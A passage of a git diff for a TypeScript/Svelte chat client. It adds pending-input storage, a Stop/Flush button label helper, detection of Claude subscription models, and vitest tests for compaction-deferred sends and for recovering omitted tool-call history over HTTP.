+ const second = createPendingInputStorage(saved, "c");
+ first.load();
+ second.load();
+ const input = (requestId: string) => ({
+ request: { type: "chat.send" as const, conversationId: "c", requestId, message: requestId },
+ });
+ first.save([input("first")]);
+ second.save([input("second")]);
+ first.save([]);
+ expect(createPendingInputStorage(saved, "c").load()).toEqual([input("second")]);
+});
diff --git a/src/features/chat/index.ts b/src/features/chat/index.ts
index 59da39b..41cb06f 100644
--- a/src/features/chat/index.ts
+++ b/src/features/chat/index.ts
@@ -6,8 +6,11 @@ export type {
} from "../../core/chunks";
export { groupRenderedChunks, resolveImageUrl, viewProviderRetry } from "../../core/chunks";
export type { TurnMetricsEntry } from "../../core/metrics";
+export { createPendingInputStorage } from "./adapter/pending-inputs";
export type { NamedAgentLike, NamedAgentSnapshotLike } from "./model-select";
export {
+ CLAUDE_SUBSCRIPTION_KEY,
+ isClaudeSubscriptionModel,
isNamedAgentSelection,
isNumberedOpenCode,
isVisionModel,
@@ -20,6 +23,7 @@ export {
openCodeNumber,
providerKeysWithNamedAgents,
} from "./model-select";
+export type { PendingInput, PendingInputStorage } from "./pending-inputs";
export type { ChatTransport, HistorySync, HistoryWindow, MetricsSync } from "./ports";
export type {
EffortOption,
@@ -51,6 +55,7 @@ export { default as CompactionView } from "./ui/CompactionView.svelte";
export type { ComposerStatus } from "./ui/Composer.svelte";
export { default as Composer } from "./ui/Composer.svelte";
export { default as ModelSelector } from "./ui/ModelSelector.svelte";
+export { default as PendingInputs } from "./ui/PendingInputs.svelte";
export { default as ReasoningEffortSelector } from "./ui/ReasoningEffortSelector.svelte";
/** Public module manifest — aggregated by the shell's "Loaded Modules" view. */
diff --git a/src/features/chat/logic/composer.test.ts b/src/features/chat/logic/composer.test.ts
new file mode 100644
index 0000000..86e9dc4
--- /dev/null
+++ b/src/features/chat/logic/composer.test.ts
@@ -0,0 +1,20 @@
+import { describe, expect, it } from "vitest";
+import { stopButtonLabels } from "./composer";
+
+describe("stopButtonLabels", () => {
+ it.each([undefined, 0])("preserves plain Stop with queued count %s", (count) => {
+ expect(stopButtonLabels(count)).toEqual({
+ text: "Stop",
+ ariaLabel: "Stop generation",
+ title: undefined,
+ });
+ });
+
+ it.each([1, 2])("labels the queued Stop action Flush with queued count %s", (count) => {
+ expect(stopButtonLabels(count)).toEqual({
+ text: "Flush",
+ ariaLabel: "Flush",
+ title: "Stop the current response and start the queued message now",
+ });
+ });
+});
diff --git a/src/features/chat/logic/composer.ts b/src/features/chat/logic/composer.ts
new file mode 100644
index 0000000..e56a007
--- /dev/null
+++ b/src/features/chat/logic/composer.ts
@@ -0,0 +1,11 @@
+/** Stop still uses the same action; the backend carries queued input into a new turn. */
+export function stopButtonLabels(queuedMessageCount: number | undefined) {
+ if (queuedMessageCount !== undefined && queuedMessageCount >= 1) {
+ return {
+ text: "Flush",
+ ariaLabel: "Flush",
+ title: "Stop the current response and start the queued message now",
+ };
+ }
+ return { text: "Stop", ariaLabel: "Stop generation", title: undefined };
+}
diff --git a/src/features/chat/logic/tool-summary.ts b/src/features/chat/logic/tool-summary.ts
index 566e40f..f6d1569 100644
--- a/src/features/chat/logic/tool-summary.ts
+++ b/src/features/chat/logic/tool-summary.ts
@@ -381,7 +381,9 @@ export function viewToolEntry(entry: ToolEntry): ToolCardView {
const builtInSummary = summarize?.(args).trim();
const callSummary =
entry.call === null
- ? "Call in earlier history"
+ ? entry.recovering
+ ? "Recovering tool input…"
+ : "Call in earlier history"
: isEmptyInput(input)
? ""
: oneLine(
@@ -416,7 +418,9 @@ export function viewToolEntry(entry: ToolEntry): ToolCardView {
entry.call === null
? {
kind: "unavailable",
- text: "This call is earlier in the conversation. Show earlier messages to see it.",
+ text: entry.recovering
+ ? "Tool input is unavailable until it is persisted. Recovering from conversation history…"
+ : "This call is earlier in the conversation. Show earlier messages to see it.",
}
: detail(entry.toolName, input, args),
resultSummary,
diff --git a/src/features/chat/model-select.test.ts b/src/features/chat/model-select.test.ts
index 57de11d..523f1d8 100644
--- a/src/features/chat/model-select.test.ts
+++ b/src/features/chat/model-select.test.ts
@@ -1,5 +1,6 @@
import { describe, expect, it } from "vitest";
import {
+ isClaudeSubscriptionModel,
isNamedAgentSelection,
isVisionModel,
joinModelName,
@@ -192,3 +193,23 @@ describe("named-agent provider helpers", () => {
expect(namedAgentSelectionLabel("Coding")).toBe("Named Agents -> Coding");
});
});
+
+describe("isClaudeSubscriptionModel", () => {
+ it("is true for claude/<model> (the Claude Code subscription credential)", () => {
+ expect(isClaudeSubscriptionModel("claude/claude-opus-4-6")).toBe(true);
+ expect(isClaudeSubscriptionModel("claude/claude-sonnet-4-6")).toBe(true);
+ });
+
+ it("is false for Claude models served through other credentials", () => {
+ expect(isClaudeSubscriptionModel("opencode-1/claude-sonnet-4.5")).toBe(false);
+ expect(isClaudeSubscriptionModel("openrouter/anthropic/claude-opus-4")).toBe(false);
+ expect(isClaudeSubscriptionModel("openai/gpt-4o")).toBe(false);
+ });
+
+ it("is false for a bare key, a lookalike key, or undefined", () => {
+ expect(isClaudeSubscriptionModel("claude")).toBe(false);
+ expect(isClaudeSubscriptionModel("claude/")).toBe(false);
+ expect(isClaudeSubscriptionModel("claude-2/claude-opus-4-6")).toBe(false);
+ expect(isClaudeSubscriptionModel(undefined)).toBe(false);
+ });
+});
diff --git a/src/features/chat/model-select.ts b/src/features/chat/model-select.ts
index 6f198f3..bebad2c 100644
--- a/src/features/chat/model-select.ts
+++ b/src/features/chat/model-select.ts
@@ -63,6 +63,25 @@ export function isNumberedOpenCode(id: string): boolean {
}
/**
+ * The credential key of the Claude Code subscription (the external Claude
+ * extension — `auth-claude` + `provider-anthropic`). The backend registers it
+ * under `DISPATCH_CLAUDE_CREDENTIAL`, default `"claude"`, so its models arrive
+ * as `claude/<model>`.
+ */
+export const CLAUDE_SUBSCRIPTION_KEY = "claude";
+
+/**
+ * True iff `full` is a model served through the Claude Code subscription
+ * (`claude/<model>`). Gates the cache timer (that subscription's prompt cache
+ * expires after 5 minutes). A bare key with no model is not a model.
+ */
+export function isClaudeSubscriptionModel(full: string | undefined): boolean {
+ if (full === undefined) return false;
+ const { key, model } = splitModelName(full);
+ return key === CLAUDE_SUBSCRIPTION_KEY && model !== "";
+}
+
+/**
* A friendly human label for a model key/provider id: `opencode-<n>` →
* "OpenCode #<n>"; any other id is returned unchanged. The RAW id is still what
* gets selected/persisted — this only affects display.
diff --git a/src/features/chat/pending-inputs.ts b/src/features/chat/pending-inputs.ts
new file mode 100644
index 0000000..d7fb0aa
--- /dev/null
+++ b/src/features/chat/pending-inputs.ts
@@ -0,0 +1,12 @@
+import type { ChatQueueMessage, ChatSendMessage } from "@dispatch/transport-contract";
+
+/** A saved copy, never automatically retransmitted: requestId is not idempotent. */
+export interface PendingInput {
+ readonly request: (ChatSendMessage | ChatQueueMessage) & { readonly requestId: string };
+ readonly rejection?: string;
+}
+
+export interface PendingInputStorage {
+ load(): readonly PendingInput[];
+ save(inputs: readonly PendingInput[]): void;
+}
diff --git a/src/features/chat/queued.test.ts b/src/features/chat/queued.test.ts
new file mode 100644
index 0000000..3b579c6
--- /dev/null
+++ b/src/features/chat/queued.test.ts
@@ -0,0 +1,207 @@
+import type { ChatQueuedMessage } from "@dispatch/transport-contract";
+import type { AgentEvent } from "@dispatch/wire";
+import { describe, expect, it, vi } from "vitest";
+import { createChatStore } from "./store.svelte";
+import {
+ createFakeCache,
+ createFakeHistorySync,
+ createFakeMetricsSync,
+ createFakeTransport,
+} from "./test-helpers";
+
+const images = [
+ { url: "data:image/png;base64,AAAA", mimeType: "image/png" },
+ { url: "data:image/png;base64,BBBB" },
+];
+
+function fixture(batched = false) {
+ const transport = createFakeTransport();
+ const history = createFakeHistorySync();
+ let nextId = 0;
+ const scheduled: (() => void)[] = [];
+ const store = createChatStore({
+ conversationId: "c1",
+ createRequestId: () => `r${++nextId}`,
+ transport: transport.impl,
+ historySync: history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: createFakeCache().impl,
+ ...(batched ? { scheduleFlush: (flush: () => void) => scheduled.push(flush) } : {}),
+ });
+ function ack(requestId: string | undefined = "r1", conversationId = "c1") {
+ const msg: ChatQueuedMessage = {
+ type: "chat.queued",
+ conversationId,
+ reason: "compaction",
+ messageId: "q1",
+ ...(requestId !== undefined ? { requestId } : {}),
+ };
+ store.handleDelta(msg);
+ }
+ function event(event: AgentEvent) {
+ store.handleDelta({ type: "chat.delta", event });
+ }
+ function start(text?: string, turnId = "t1") {
+ event({ type: "turn-start", conversationId: "c1", turnId });
+ if (text !== undefined) event({ type: "user-message", conversationId: "c1", turnId, text });
+ }
+ return { store, transport, history, scheduled, ack, event, start };
+}
+
+describe("compaction-deferred chat.send", () => {
+ it.each([
+ "hello",
+ "",
+ ])("removes just the accepted local text/images for %j without error, retry or queue sends", (text) => {
+ const f = fixture();
+ f.store.send(text, images);
+ expect(f.store.chunks).toHaveLength(text ? 3 : 2);
+ f.ack();
+ f.ack();
+ expect(f.store.chunks).toEqual([]);
+ expect(f.store.generating).toBe(false);
+ expect(f.store.error).toBeNull();
+ expect(f.transport.sent).toHaveLength(1);
+ expect(f.transport.sent[0]).toMatchObject({ requestId: "r1", images, message: text });
+ expect(f.transport.sentQueue).toEqual([]);
+ f.store.dispose();
+ });
+
+ it("uses distinct request identities for identical sends and preserves unrelated content", () => {
+ const f = fixture();
+ f.start("another client's prompt");
+ f.event({ type: "text-delta", conversationId: "c1", turnId: "t1", delta: "working" });
+ f.store.send("identical", images);
+ f.store.send("identical", images);
+ expect(f.transport.sent.map((m) => m.requestId)).toEqual(["r1", "r2"]);
+ f.ack("r1");
+ f.ack("r1");
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual([
+ { type: "text", text: "another client's prompt" },
+ { type: "text", text: "working" },
+ { type: "text", text: "identical" },
+ ...images.map((i) => ({ type: "image", ...i })),
+ ]);
+ f.ack("r2");
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual([
+ { type: "text", text: "another client's prompt" },
+ { type: "text", text: "working" },
+ ]);
+ expect(f.store.generating).toBe(true);
+ f.store.dispose();
+ });
+
+ it.each([
+ "missing",
+ "unknown",
+ "wrong-conversation",
+ ])("tolerates %s correlation without deleting any echo", (kind) => {
+ const f = fixture();
+ f.store.send("hello", images);
+ f.store.handleDelta({
+ type: "chat.queued",
+ conversationId: kind === "wrong-conversation" ? "c2" : "c1",
+ reason: "compaction",
+ messageId: "q1",
+ ...(kind === "missing" ? {} : { requestId: kind === "unknown" ? "r999" : "r1" }),
+ });
+ expect(f.store.chunks).toHaveLength(3);
+ expect(f.store.error).toBeNull();
+ f.store.dispose();
+ });
+
+ it.each([
+ false,
+ true,
+ ])("preserves a live confirmed prompt before delayed ack (batched=%s)", (batched) => {
+ const f = fixture(batched);
+ f.store.send("hello", images);
+ f.start("hello");
+ f.event({ type: "text-delta", conversationId: "c1", turnId: "t1", delta: "answer" });
+ f.ack();
+ f.ack();
+ for (const flush of f.scheduled) flush();
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual([
+ { type: "text", text: "hello" },
+ { type: "text", text: "answer" },
+ ]);
+ expect(f.store.generating).toBe(true);
+ expect(f.store.error).toBeNull();
+ f.store.dispose();
+ });
+
+ it("turn-start tagging alone does not protect a still-local echo", () => {
+ const f = fixture(true);
+ f.store.send("hello", images);
+ f.start();
+ f.ack();
+ expect(f.store.chunks).toEqual([]);
+ expect(f.store.generating).toBe(true);
+ f.event({ type: "user-message", conversationId: "c1", turnId: "t1", text: "hello" });
+ for (const flush of f.scheduled) flush();
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual([{ type: "text", text: "hello" }]);
+ f.store.dispose();
+ });
+
+ it("keeps a combined queue opening and steering; removes only the original individual echoes", () => {
+ const f = fixture(true);
+ f.store.send("one", images);
+ f.store.send("two", images);
+ f.start("one\n\ntwo");
+ f.event({ type: "steering", conversationId: "c1", turnId: "t1", text: "steer" });
+ f.ack("r2");
+ f.ack("r1");
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual([
+ { type: "text", text: "one\n\ntwo" },
+ { type: "text", text: "steer" },
+ ]);
+ expect(f.store.generating).toBe(true);
+ f.store.dispose();
+ });
+
+ it.each([
+ "ack-first",
+ "reset-first",
+ "history-first",
+ ])("handles epoch replacement idempotently: %s", async (order) => {
+ const f = fixture();
+ await f.store.load();
+ f.store.send("hello", images);
+ if (order === "ack-first") f.ack();
+ f.history.historyEpoch = 1;
+ f.history.returnChunks = [
+ { seq: 1, role: "user", turnId: "t1", chunk: { type: "text", text: "hello" } },
+ { seq: 2, role: "user", turnId: "t1", chunk: { type: "image", url: "/images/c1/saved.png" } },
+ ];
+ f.store.resync(1);
+ if (order === "reset-first") f.ack();
+ await vi.waitFor(() => expect(f.store.pendingSync).toBe(false));
+ f.start("hello");
+ const before = f.store.chunks;
+ f.ack();
+ f.ack();
+ expect(f.store.chunks).toEqual(before);
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual(f.history.returnChunks.map((c) => c.chunk));
+ expect(f.store.generating).toBe(true);
+ expect(f.store.error).toBeNull();
+ expect(f.transport.sent).toHaveLength(1);
+ f.store.dispose();
+ });
+
+ it("keeps normal immediate-send text/image deduplication and authoritative history", async () => {
+ const f = fixture();
+ f.store.send("hello", images);
+ f.start("hello");
+ expect(f.store.chunks).toHaveLength(3);
+ f.history.returnChunks = [
+ { seq: 1, role: "user", turnId: "t1", chunk: { type: "text", text: "hello" } },
+ { seq: 2, role: "user", turnId: "t1", chunk: { type: "image", url: "/images/c1/saved.png" } },
+ ];
+ f.event({ type: "turn-sealed", conversationId: "c1", turnId: "t1" });
+ await vi.waitFor(() => expect(f.store.pendingSync).toBe(false));
+ expect(f.store.chunks.map((c) => c.chunk)).toEqual(f.history.returnChunks.map((c) => c.chunk));
+ expect(f.store.chunks.every((c) => !c.provisional)).toBe(true);
+ expect(f.transport.sent).toHaveLength(1);
+ f.store.dispose();
+ });
+});
diff --git a/src/features/chat/recovery.test.ts b/src/features/chat/recovery.test.ts
new file mode 100644
index 0000000..4b46288
--- /dev/null
+++ b/src/features/chat/recovery.test.ts
@@ -0,0 +1,529 @@
+import type {
+ ChatResyncRequiredMessage,
+ ConversationHistoryResponse,
+} from "@dispatch/transport-contract";
+import type { AgentEvent, StepId, StoredChunk, TurnEndedEvent } from "@dispatch/wire";
+import { IDBFactory, IDBKeyRange } from "fake-indexeddb";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { createIdbChunkStore } from "../../adapters/idb";
+import { createConversationCache } from "../conversation-cache";
+import type { HistorySync } from "./ports";
+import { createChatStore } from "./store.svelte";
+import {
+ createFakeCache,
+ createFakeHistorySync,
+ createFakeMetricsSync,
+ createFakeTransport,
+} from "./test-helpers";
+
+const step = "t1#0" as StepId;
+const opening: StoredChunk = {
+ seq: 1,
+ role: "user",
+ turnId: "t1",
+ chunk: { type: "text", text: "prompt" },
+};
+const call: StoredChunk = {
+ seq: 3,
+ role: "assistant",
+ turnId: "t1",
+ chunk: {
+ type: "tool-call",
+ toolCallId: "a",
+ toolName: "run_shell",
+ stepId: step,
+ input: { command: "full input" },
+ },
+};
+const result: StoredChunk = {
+ seq: 4,
+ role: "tool",
+ turnId: "t1",
+ chunk: {
+ type: "tool-result",
+ toolCallId: "a",
+ toolName: "run_shell",
+ stepId: step,
+ content: "full output",
+ isError: false,
+ },
+};
+const committed: StoredChunk[] = [
+ opening,
+ { seq: 2, role: "assistant", turnId: "t1", chunk: { type: "text", text: "complete text" } },
+ call,
+ result,
+];
+
+function fixture(historySync?: HistorySync, batched = false) {
+ const history = createFakeHistorySync();
+ const transport = createFakeTransport();
+ const cache = createFakeCache();
+ const scheduled: (() => void)[] = [];
+ const store = createChatStore({
+ conversationId: "c1",
+ createRequestId: () => "r1",
+ historySync: historySync ?? history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ cache: cache.impl,
+ transport: transport.impl,
+ ...(batched ? { scheduleFlush: (fn: () => void) => scheduled.push(fn) } : {}),
+ });
+ const event = (event: AgentEvent) => store.handleDelta({ type: "chat.delta", event });
+ const notice = (
+ turnId: string | undefined = "t1",
+ reason: ChatResyncRequiredMessage["reason"] = "replay-limit",
+ ) =>
+ store.handleDelta({
+ type: "chat.resync-required",
+ conversationId: "c1",
+ reason,
+ ...(turnId !== undefined ? { turnId } : {}),
+ });
+ const end = (reason: TurnEndedEvent["reason"] = "sealed", turnId = "t1") =>
+ event({ type: "turn-ended", conversationId: "c1", turnId, reason });
+ const text = (delta: string, turnId = "t1") =>
+ event({ type: "text-delta", conversationId: "c1", turnId, delta });
+ return { store, history, transport, cache, scheduled, event, notice, end, text };
+}
+
+async function settled(store: ReturnType<typeof createChatStore>) {
+ for (let i = 0; i < 80 && store.pendingSync; i++) await Promise.resolve();
+ expect(store.pendingSync).toBe(false);
+}
+function response(chunks: readonly StoredChunk[], historyEpoch = 0): ConversationHistoryResponse {
+ return { chunks, historyEpoch, latestSeq: chunks.at(-1)?.seq ?? 0 };
+}
+function deferred() {
+ let resolve!: (value: ConversationHistoryResponse) => void;
+ const promise = new Promise<ConversationHistoryResponse>((r) => {
+ resolve = r;
+ });
+ return { promise, resolve };
+}
+
+afterEach(() => {
+ vi.useRealTimers();
+ vi.unstubAllGlobals();
+});
+
+describe("omitted chat recovery", () => {
+ it.each([
+ false,
+ true,
+ ])("marks omitted replay active without content and recovers full HTTP payload (batched=%s)", async (batched) => {
+ vi.useFakeTimers();
+ const f = fixture(undefined, batched);
+ f.text("partial");
+ f.notice();
+ expect(f.store.generating).toBe(true);
+ expect(f.store.recovering).toBe(true);
+ expect(f.store.chunks.map((r) => r.chunk)).toEqual([{ type: "text", text: "partial" }]);
+ await settled(f.store);
+ // No initial commit yet. A tool result follows an OMITTED call input.
+ f.event({
+ type: "tool-result",
+ conversationId: "c1",
+ turnId: "t1",
+ stepId: step,
+ toolCallId: "a",
+ toolName: "run_shell",
+ content: "short replay",
+ isError: false,
+ });
+ f.history.returnChunks = committed;
+ await vi.advanceTimersByTimeAsync(1000);
+ expect(f.store.chunks.filter((r) => r.chunk.type === "tool-call")).toEqual([
+ expect.objectContaining({ chunk: call.chunk, provisional: false }),
+ ]);
+ expect(f.store.chunks.filter((r) => r.chunk.type === "tool-result")).toHaveLength(1);
+ expect(f.store.chunks.find((r) => r.chunk.type === "tool-result")?.chunk).toEqual(result.chunk);
+ expect(f.store.generating).toBe(true);
+ expect(f.store.error).toBeNull();
+ expect(f.transport.sent).toEqual([]);
+ f.store.dispose();
+ expect(vi.getTimerCount()).toBe(0);
+ });
+
+ it("coalesces repeat notices and polls after step notification races persistence, without parallel requests", async () => {
+ vi.useFakeTimers();
+ const pending = deferred();
+ let calls = 0;
+ const f = fixture(async () => {
+ calls++;
+ return calls === 1 ? pending.promise : response(committed);
+ });
+ f.notice();
+ for (let i = 0; i < 20; i++) f.notice();
+ for (let i = 0; i < 15; i++) await Promise.resolve();
+ expect(calls).toBe(1);
+ f.event({ type: "step-complete", conversationId: "c1", turnId: "t1", stepId: step });
+ await vi.advanceTimersByTimeAsync(10000);
+ expect(calls).toBe(1);
+ pending.resolve(response([]));
+ await settled(f.store);
+ expect(calls).toBe(1);
+ await vi.advanceTimersByTimeAsync(999);
+ expect(calls).toBe(1);
+ await vi.advanceTimersByTimeAsync(1);
+ expect(calls).toBe(2);
+ expect(f.store.chunks.map((r) => r.chunk)).toEqual(committed.map((r) => r.chunk));
+ f.store.dispose();
+ });
+
+ it.each([
+ "sealed",
+ "aborted",
+ "error",
+ "rejected",
+ ] as const)("final-syncs %s behind an in-flight fetch and preserves immediate queued carry", async (reason) => {
+ vi.useFakeTimers();
+ const pending = deferred();
+ let calls = 0;
+ const f = fixture(async () => (++calls === 1 ? pending.promise : response(committed)));
+ f.notice();
+ for (let i = 0; i < 10; i++) await Promise.resolve();
+ f.text("old tail");
+ f.end(reason);
+ f.event({ type: "user-message", conversationId: "c1", turnId: "t2", text: "queued input" });
+ f.event({ type: "turn-start", conversationId: "c1", turnId: "t2" });
+ f.text("carried tail", "t2");
+ pending.resolve(response([opening]));
+ await settled(f.store);
+ expect(calls).toBe(2);
+ expect(f.store.recovering).toBe(false);
+ expect(f.store.generating).toBe(true);
+ expect(f.store.chunks.filter((r) => r.provisional).map((r) => r.chunk)).toEqual([
+ { type: "text", text: "queued input" },
+ { type: "text", text: "carried tail" },
+ ]);
+ expect(f.store.chunks.filter((r) => r.turnId === "t1").every((r) => !r.provisional)).toBe(true);
+ await vi.advanceTimersByTimeAsync(5000);
+ expect(calls).toBe(2);
+ f.end("sealed", "t2");
+ expect(f.store.generating).toBe(false);
+ f.store.dispose();
+ });
+
+ it.each([
+ false,
+ true,
+ ])("notice during %s-cache load requests one rerun, preserving current window", async (warm) => {
+ vi.useFakeTimers();
+ const pending = deferred();
+ let calls = 0;
+ const f = fixture(async (_id, _since, window) => {
+ calls++;
+ if (!warm) expect(window?.limit).toBe(192);
+ return calls === 1 ? pending.promise : response([opening]);
+ });
+ if (warm) f.cache.store.set("c1", [opening]);
+ const load = f.store.load();
+ for (let i = 0; i < 15; i++) await Promise.resolve();
+ f.notice();
+ pending.resolve(response([opening]));
+ await load;
+ await settled(f.store);
+ expect(calls).toBe(2);
+ expect(f.store.chunks).toHaveLength(1);
+ expect(f.store.recovering).toBe(true);
+ expect(f.store.generating).toBe(true);
+ f.store.dispose();
+ });
+
+ it("payload notice after a completed HTTP load preserves live tail, unrelated turn and tool progress", async () => {
+ vi.useFakeTimers();
+ const f = fixture();
+ await f.store.load();
+ f.event({ type: "turn-start", conversationId: "c1", turnId: "other" });
+ f.text("unrelated", "other");
+ f.event({ type: "turn-start", conversationId: "c1", turnId: "t1" });
+ f.text("partial text");
+ f.event({
+ type: "tool-call",
+ conversationId: "c1",
+ turnId: "t1",
+ stepId: step,
+ toolCallId: "a",
+ toolName: "run_shell",
+ input: { command: "short" },
+ });
+ f.event({
+ type: "tool-result",
+ conversationId: "c1",
+ turnId: "t1",
+ stepId: step,
+ toolCallId: "a",
+ toolName: "run_shell",
+ content: "short",
+ isError: false,
+ });
+ f.text("complete text"); // same payload as earlier step; NOT the same identity
+ f.event({
+ type: "tool-output",
+ conversationId: "c1",
+ turnId: "t1",
+ toolCallId: "next",
+ data: "progress",
+ stream: "stdout",
+ });
+ f.history.returnChunks = committed;
+ f.notice("t1", "payload-limit");
+ await settled(f.store);
+ expect(f.store.chunks.filter((r) => r.provisional).map((r) => r.chunk)).toEqual([
+ { type: "text", text: "unrelated" },
+ { type: "text", text: "complete text" },
+ ]);
+ expect(f.store.chunks.filter((r) => r.chunk.type === "tool-call")).toHaveLength(1);
+ expect(f.store.chunks.filter((r) => r.chunk.type === "tool-result")).toHaveLength(1);
+ f.store.dispose();
+ });
+
+ it("bounds epoch churn during recovery and cancels its retry timer on disposal", async () => {
+ vi.useFakeTimers();
+ let calls = 0;
+ const f = fixture(async () => {
+ f.store.invalidateHistory(++calls);
+ return response([], calls - 1);
+ });
+ f.notice();
+ await settled(f.store);
+ expect(calls).toBe(3);
+ expect(f.store.error).toContain("sync paused");
+ await vi.advanceTimersByTimeAsync(10000);
+ expect(calls).toBe(3);
+ f.store.dispose();
+ await vi.advanceTimersByTimeAsync(10000);
+ expect(calls).toBe(3);
+ expect(vi.getTimerCount()).toBe(0);
+ });
+
+ it("ignores other conversations and disposed notices; accepts a notice without turnId", async () => {
+ vi.useFakeTimers();
+ const f = fixture();
+ f.store.handleDelta({
+ type: "chat.resync-required",
+ conversationId: "other",
+ reason: "payload-limit",
+ });
+ expect(f.store.recovering).toBe(false);
+ f.store.handleDelta({
+ type: "chat.resync-required",
+ conversationId: "c1",
+ reason: "payload-limit",
+ });
+ await settled(f.store);
+ expect(f.store.generating).toBe(false);
+ expect(f.store.recovering).toBe(false);
+ expect(vi.getTimerCount()).toBe(0);
+ f.event({ type: "turn-start", conversationId: "c1", turnId: "t1" });
+ f.store.handleDelta({
+ type: "chat.resync-required",
+ conversationId: "c1",
+ reason: "payload-limit",
+ });
+ expect(f.store.generating).toBe(true);
+ expect(f.store.recovering).toBe(true);
+ f.end("rejected");
+ await settled(f.store);
+ expect(f.store.recovering).toBe(false);
+ expect(f.store.generating).toBe(false);
+ f.store.dispose();
+ f.notice();
+ expect(vi.getTimerCount()).toBe(0);
+ });
+});
+
+it("recovers a windowed rollback with real IndexedDB cache while preserving lifecycle evidence", async () => {
+ vi.stubGlobal("IDBKeyRange", IDBKeyRange);
+ const cache = createConversationCache(createIdbChunkStore({ indexedDB: new IDBFactory() }));
+ await cache.commit(
+ "c1",
+ [{ seq: 1, role: "assistant", chunk: { type: "text", text: "old epoch" } }],
+ 5,
+ );
+ const history = createFakeHistorySync();
+ history.historyEpoch = 5;
+ const timers = new Map<object, () => void>();
+ const store = createChatStore({
+ conversationId: "c1",
+ createRequestId: () => "r",
+ cache,
+ historySync: history.impl,
+ metricsSync: createFakeMetricsSync().impl,
+ transport: createFakeTransport().impl,
+ chatLimit: 10,
+ recoveryTimer: {
+ schedule(fn) {
+ const key = {};
+ timers.set(key, fn);
+ return key;
+ },
+ cancel(key) {
+ timers.delete(key as object);
+ },
+ },
+ });
+ try {
+ await store.load();
+ history.historyEpoch = 0;
+ history.returnChunks = Array.from({ length: 20 }, (_, i) => ({
+ seq: i + 1,
+ role: "assistant" as const,
+ turnId: "t1",
+ chunk: { type: "text" as const, text: `restored-${i}` },
+ }));
+ const before = history.calls.length;
+ store.handleDelta({
+ type: "chat.resync-required",
+ conversationId: "c1",
+ turnId: "t1",
+ reason: "replay-limit",
+ });
+ await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+ expect(history.calls.length - before).toBe(2);
+ expect(history.calls.at(-1)).toMatchObject({ sinceSeq: 0, window: { limit: 7 } });
+ expect(await cache.historyEpoch("c1")).toBe(0);
+ expect(store.chunks.map((c) => c.seq)).toEqual([14, 15, 16, 17, 18, 19, 20]);
+ expect(store.hasEarlier).toBe(true);
+ expect(store.generating).toBe(true);
+ expect(timers.size).toBe(1);
+ store.handleDelta({
+ type: "chat.delta",
+ event: { type: "turn-ended", conversationId: "c1", turnId: "t1", reason: "aborted" },
+ });
+ await vi.waitFor(() => expect(store.pendingSync).toBe(false));
+ expect(store.generating).toBe(false);
+ expect(timers.size).toBe(0);
+ expect(store.hasEarlier).toBe(true);
+ } finally {
+ store.dispose();
+ }
+});
+
+it("ignores an unrelated terminal and stays recovering through done/seal until its actual terminal", async () => {
+ vi.useFakeTimers();
+ const f = fixture();
+ f.notice();
+ await settled(f.store);
+ f.end("aborted", "unrelated");
+ f.event({ type: "done", conversationId: "c1", turnId: "t1", reason: "aborted" });
+ expect(f.store.recovering).toBe(true);
+ expect(f.store.generating).toBe(true);
+ f.event({ type: "turn-sealed", conversationId: "c1", turnId: "t1" });
+ await settled(f.store);
+ expect(f.store.recovering).toBe(true);
+ expect(f.store.generating).toBe(true);
+ f.end("aborted");
+ await settled(f.store);
+ expect(f.store.recovering).toBe(false);
+ expect(f.store.generating).toBe(false);
+ expect(vi.getTimerCount()).toBe(0);
+ f.store.dispose();
+});
+
+it("makes a post-terminal request even when the terminal races the third bounded epoch attempt", async () => {
+ vi.useFakeTimers();
+ const third = deferred();
+ let calls = 0;
+ const f = fixture(async () => {
+ calls++;
+ if (calls < 3) {
+ f.store.invalidateHistory(calls);
+ return response([], calls - 1);
+ }
+ return calls === 3 ? third.promise : response(committed, 2);
+ });
+ f.notice();
+ for (let i = 0; i < 60 && calls < 3; i++) await Promise.resolve();
+ expect(calls).toBe(3);
+ f.end("error");
+ third.resolve(response([], 2));
+ await settled(f.store);
+ expect(calls).toBe(4);
+ expect(f.store.chunks.map((r) => r.chunk)).toEqual(committed.map((r) => r.chunk));
+ expect(f.store.recovering).toBe(false);
+ expect(vi.getTimerCount()).toBe(0);
+ f.store.dispose();
+});
+
+it("retains active recovery across a compaction epoch refresh and cancels it on reconnect/dispose", async () => {
+ vi.useFakeTimers();
+ const f = fixture();
+ f.notice();
+ await settled(f.store);
+ f.history.historyEpoch = 1;
+ f.store.resync(1);
+ await settled(f.store);
+ expect(f.store.recovering).toBe(true);
+ expect(f.store.generating).toBe(true);
+ expect(vi.getTimerCount()).toBe(1);
+ f.store.resync();
+ await settled(f.store);
+ expect(f.store.recovering).toBe(false);
+ expect(f.store.generating).toBe(false);
+ expect(vi.getTimerCount()).toBe(0);
+ f.store.dispose();
+});
+
+it("flushes a batched aborted terminal plus carried turn before applying an older HTTP response", async () => {
+ vi.useFakeTimers();
+ const pending = deferred();
+ let calls = 0;
+ const f = fixture(async () => (++calls === 1 ? pending.promise : response(committed)), true);
+ f.notice();
+ for (let i = 0; i < 15; i++) await Promise.resolve();
+ f.text("old partial");
+ f.end("aborted");
+ f.event({ type: "user-message", conversationId: "c1", turnId: "t2", text: "queued" });
+ f.event({ type: "turn-start", conversationId: "c1", turnId: "t2" });
+ f.text("live carried output", "t2");
+ pending.resolve(response([opening]));
+ await settled(f.store);
+ expect(calls).toBe(2);
+ expect(f.store.chunks.filter((r) => r.provisional).map((r) => r.chunk)).toEqual([
+ { type: "text", text: "queued" },
+ { type: "text", text: "live carried output" },
+ ]);
+ expect(f.store.generating).toBe(true);
+ expect(f.store.recovering).toBe(false);
+ expect(vi.getTimerCount()).toBe(0);
+ f.store.dispose();
+});
+
+it("does not truncate a payload larger than the WS budget recovered over HTTP", async () => {
+ vi.useFakeTimers();
+ const large = "x".repeat(4 * 1024 * 1024 + 1);
+ const full: StoredChunk[] = [
+ {
+ ...call,
+ chunk: {
+ ...call.chunk,
+ type: "tool-call",
+ toolCallId: "a",
+ toolName: "run_shell",
+ input: { command: large },
+ stepId: step,
+ },
+ },
+ {
